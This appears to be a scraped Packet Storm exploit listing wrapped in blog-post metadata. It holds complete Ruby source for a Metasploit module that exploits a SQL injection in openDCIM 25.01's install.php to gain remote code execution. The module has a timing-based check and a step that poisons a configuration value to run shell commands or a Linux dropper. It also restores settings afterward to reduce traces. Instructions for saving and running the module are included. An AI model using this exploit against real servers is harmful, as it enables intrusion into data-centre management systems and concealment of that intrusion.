{“lastseen”:”2026-04-20T15:53:19″,”description”:”openDCIM version 25.01 remote SQL injection exploit that achieves remote code execution…”,”published”:”2026-04-20T00:00:00″,”modified”:”2026-04-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 openDCIM 25.01 SQL Injection \/ Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:219185″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : openDCIM 25.01 SQL Injection Leading to Remote Code Execution |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/opendcim.org\/downloads.html |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit module targets a logical SQL Injection vulnerability in the install.php endpoint of openDCIM, which can be escalated to Remote Code Execution (RCE).\\n \\n The exploit workflow includes:\\n \\n A timing-based SQL injection check using SLEEP() to confirm vulnerability.\\n Injection into LDAP-related configuration fields stored in the database.\\n Creation of a temporary backup table to preserve existing configuration values.\\n Manipulation (\u201cpoisoning\u201d) of a configuration parameter (dot) to inject system commands.\\n Triggering execution through a web request to report_network_map.php.\\n Supporting two attack modes:\\n Command shell execution (cmd)\\n Payload dropper for Linux systems\\n \\n [+] The module also implements:\\n \\n Configuration backup before exploitation\\n Automatic restoration of settings after execution to reduce impact traces\\n \\n [+] How to Save \\u0026 Run (Metasploit Module):\\n \\n Save the module: open_dcim_sqli_rce.rb\\n Move it into Metasploit local path: ~\/.msf4\/modules\/exploits\/multi\/http\/\\n Start Metasploit: msfconsole\\n Load the module: use exploit\/multi\/http\/open_dcim_sqli_rce\\n Set options:\\n set RHOSTS \\u003ctarget_ip\\u003e\\n set TARGETURI \/\\n Run the exploit:\\n run\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::CmdStager\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘openDCIM install.php SQL Injection to RCE’,\\n ‘Description’ =\\u003e %q{\\n SQLi -\\u003e RCE via openDCIM install.php (logical fixed version).\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix\/Linux Command Shell’, {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :cmd\\n }\\n ],\\n [\\n ‘Linux Dropper’, {\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64],\\n ‘CmdStagerFlavor’ =\\u003e [‘printf’, ‘bourne’],\\n ‘Type’ =\\u003e :dropper\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2026-02-28’\\n )\\n )\\n \\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’])\\n ])\\n end\\n \\n LDAP_FIELDS = %w[\\n LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration\\n LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess\\n LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin\\n LDAPContactAdmin LDAPSiteAdmin\\n ].freeze\\n \\n DOT_PARAM = ‘dot’.freeze\\n \\n def install_uri\\n normalize_uri(target_uri.path, ‘install.php’)\\n end\\n \\n def check\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e install_uri\\n )\\n \\n return CheckCode::Unknown unless res\\n return CheckCode::Safe unless res.code == 200\\n \\n return CheckCode::Safe unless res.body.include?(‘install’) || res.body.include?(‘openDCIM’)\\n \\n print_status(‘Testing SQL injection timing’)\\n \\n 3.times do |i|\\n sleep_time = 2\\n \\n elapsed_time = Rex::Stopwatch.elapsed_time do\\n send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e install_uri,\\n ‘vars_post’ =\\u003e {\\n ‘ldapaction’ =\\u003e ‘Set’,\\n ‘LDAPServer’ =\\u003e \\”‘; SELECT SLEEP(#{sleep_time}); — \\”\\n }\\n )\\n end\\n \\n print_status(\\”Test #{i + 1}: #{elapsed_time.round(2)}s\\”)\\n \\n if elapsed_time \\u003c sleep_time\\n return CheckCode::Safe(‘Timing condition not met’)\\n end\\n end\\n \\n CheckCode::Vulnerable\\n end\\n \\n def exploit\\n @backup_table = Rex::Text.rand_text_alpha(8).downcase\\n \\n fail_with(Failure::UnexpectedReply, ‘Backup failed’) unless backup_config\\n \\n case target[‘Type’]\\n when :cmd\\n fail_with(Failure::UnexpectedReply, ‘Poison failed’) unless poison_dot(payload.encoded)\\n trigger_exec\\n when :dropper\\n execute_cmdstager\\n end\\n ensure\\n cleanup_config\\n end\\n \\n def execute_command(cmd, _opts = {})\\n fail_with(Failure::UnexpectedReply, ‘Poison failed’) unless poison_dot(cmd)\\n trigger_exec\\n end\\n \\n def trigger_exec\\n send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘report_network_map.php’),\\n ‘vars_get’ =\\u003e { ‘format’ =\\u003e ‘0’, ‘containerid’ =\\u003e ‘1’ }\\n )\\n end\\n \\n def inject_sql(field, sql)\\n form = { ‘ldapaction’ =\\u003e ‘Set’ }\\n \\n LDAP_FIELDS.each do |f|\\n form[f] = ”\\n end\\n \\n form[field] = \\”‘; #{sql}; — \\”\\n \\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e install_uri,\\n ‘vars_post’ =\\u003e form\\n )\\n \\n res \\u0026\\u0026 [200, 302].include?(res.code)\\n end\\n \\n def backup_config\\n inject_sql(\\n ‘LDAPServer’,\\n \\”DROP TABLE IF EXISTS #{@backup_table};\\n CREATE TABLE #{@backup_table} AS\\n SELECT Parameter, Value FROM fac_Config\\n WHERE Parameter LIKE ‘LDAP%’ OR Parameter=’#{DOT_PARAM}’\\”\\n )\\n end\\n \\n def poison_dot(value)\\n safe = value.to_s.gsub(‘\\”‘, ‘\\\\\\”‘)\\n inject_sql(‘LDAPBaseDN’,\\n \\”UPDATE fac_Config SET Value=\\\\\\”#{safe}\\\\\\” WHERE Parameter=’#{DOT_PARAM}’\\”)\\n end\\n \\n def restore_config\\n inject_sql(\\n ‘LDAPSiteAdmin’,\\n \\”UPDATE fac_Config c\\n INNER JOIN #{@backup_table} b\\n ON c.Parameter=b.Parameter\\n SET c.Value=b.Value;\\n DROP TABLE IF EXISTS #{@backup_table}\\”\\n )\\n end\\n \\n def cleanup_config\\n return unless @backup_table\\n \\n print_status(‘Restoring configuration…’)\\n restore_config\\n end\\n end\\n \\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219185″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219185\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-20T15:53:19″,”description”:”openDCIM version 25.01 remote SQL injection exploit that achieves remote code execution…”,”published”:”2026-04-20T00:00:00″,”modified”:”2026-04-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 openDCIM 25.01 SQL Injection \/ Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:219185″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : openDCIM…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-48070","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n